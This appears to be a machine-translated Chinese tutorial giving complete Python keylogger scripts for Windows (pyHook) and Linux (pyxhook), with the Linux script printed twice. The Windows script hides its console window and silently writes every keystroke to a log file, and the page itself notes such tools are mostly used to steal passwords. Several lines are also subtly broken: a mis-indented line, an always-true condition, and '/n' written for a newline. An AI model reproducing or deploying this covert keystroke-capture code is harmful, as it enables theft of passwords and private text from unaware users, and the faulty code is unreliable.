📜  用Python设计一个键盘记录器

📅  最后修改于: 2021-10-18 12:31:31             🧑  作者: Mango

击键记录是记录(记录)在键盘上按下的键(通常在用户不知道的情况下)的过程。它也称为键盘记录或键盘捕获。
这些程序用于解决计算机和商业网络的技术问题。它也可用于监控网络使用情况,但通常用于窃取密码等恶意目的。
本文说明了为 Windows 和 Linux 设计键盘记录器。

Windows 键盘记录器

下载一些Python库
1) pywin32
2) 钩子’
以下是在Python创建键盘记录器的代码

Python3
# Python code for keylogger
# to be used in windows
import win32api
import win32console
import win32gui
import pythoncom, pyHook
  
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
  
def OnKeyboardEvent(event):
    if event.Ascii==5:
        _exit(1)
    if event.Ascii !=0 or 8:
    #open output.txt to read current keystrokes
        f = open('c:\output.txt', 'r+')
        buffer = f.read()
        f.close()
    # open output.txt to write current + new keystrokes
        f = open('c:\output.txt', 'w')
        keylogs = chr(event.Ascii)
        if event.Ascii == 13:
        keylogs = '/n'
        buffer += keylogs
        f.write(buffer)
        f.close()
# create a hook manager object
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()


Python3
# Python code for keylogger
# to be used in linux
import os
import pyxhook
  
# This tells the keylogger where the log file will go.
# You can set the file path as an environment variable ('pylogger_file'),
# or use the default ~/Desktop/file.log
log_file = os.environ.get(
    'pylogger_file',
    os.path.expanduser('~/Desktop/file.log')
)
# Allow setting the cancel key from environment args, Default: `
cancel_key = ord(
    os.environ.get(
        'pylogger_cancel',
        '`'
    )[0]
)
  
# Allow clearing the log file on start, if pylogger_clean is defined.
if os.environ.get('pylogger_clean', None) is not None:
    try:
        os.remove(log_file)
    except EnvironmentError:
       # File does not exist, or no permissions.
        pass
  
#creating key pressing event and saving it into log file
def OnKeyPress(event):
    with open(log_file, 'a') as f:
        f.write('{}\n'.format(event.Key))
  
# create a hook manager object
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
# set the hook
new_hook.HookKeyboard()
try:
    new_hook.start()         # start the hook
except KeyboardInterrupt:
    # User cancelled from command line.
    pass
except Exception as ex:
    # Write exceptions to the log file, for analysis later.
    msg = 'Error while catching events:\n  {}'.format(ex)
    pyxhook.print_err(msg)
    with open(log_file, 'a') as f:
        f.write('\n{}'.format(msg))


将 C:\ 中的文件另存为 Keylogger.py 并运行Python文件
输出:
键盘记录器将在后台启动并将所有数据保存在日志文件“c:\output.txt”中。

Linux 中的键盘记录器
pyxhook 需要 python-Xlib。如果您还没有它,请安装它。

sudo apt-get install python-xlib

下载 pyxhook 库

蟒蛇3

# Python code for keylogger
# to be used in linux
import os
import pyxhook
  
# This tells the keylogger where the log file will go.
# You can set the file path as an environment variable ('pylogger_file'),
# or use the default ~/Desktop/file.log
log_file = os.environ.get(
    'pylogger_file',
    os.path.expanduser('~/Desktop/file.log')
)
# Allow setting the cancel key from environment args, Default: `
cancel_key = ord(
    os.environ.get(
        'pylogger_cancel',
        '`'
    )[0]
)
  
# Allow clearing the log file on start, if pylogger_clean is defined.
if os.environ.get('pylogger_clean', None) is not None:
    try:
        os.remove(log_file)
    except EnvironmentError:
       # File does not exist, or no permissions.
        pass
  
#creating key pressing event and saving it into log file
def OnKeyPress(event):
    with open(log_file, 'a') as f:
        f.write('{}\n'.format(event.Key))
  
# create a hook manager object
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
# set the hook
new_hook.HookKeyboard()
try:
    new_hook.start()         # start the hook
except KeyboardInterrupt:
    # User cancelled from command line.
    pass
except Exception as ex:
    # Write exceptions to the log file, for analysis later.
    msg = 'Error while catching events:\n  {}'.format(ex)
    pyxhook.print_err(msg)
    with open(log_file, 'a') as f:
        f.write('\n{}'.format(msg))

输出:
键盘记录器将在后台启动,并将所有数据保存在 file.log 文件“/home/Akash/Desktop”中。